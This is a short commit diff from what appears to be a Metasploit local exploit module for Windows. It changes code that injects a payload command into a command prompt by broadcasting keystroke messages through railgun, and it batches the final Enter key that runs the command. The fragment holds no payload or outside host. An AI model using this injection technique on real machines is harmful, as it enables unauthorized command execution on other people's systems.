Concurrent printing of the output no longer makes sense...
parent
536c3c7b92
commit
a843722ae3
|
@ -214,16 +214,12 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
print_status("Broadcasting payload command to prompt... I hope the user is asleep!")
|
||||
multi_rail = []
|
||||
command.each_char do |c|
|
||||
print c if command.length < 200
|
||||
multi_rail << ['user32', 'SendMessageA', ['HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0]]
|
||||
#client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0)
|
||||
end
|
||||
|
||||
client.railgun.multi(multi_rail)
|
||||
|
||||
print_line
|
||||
multi_rail << ['user32', 'SendMessageA', ['HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0]]
|
||||
print_status("Executing command...")
|
||||
client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0)
|
||||
client.railgun.multi(multi_rail)
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
|
Loading…
Reference in New Issue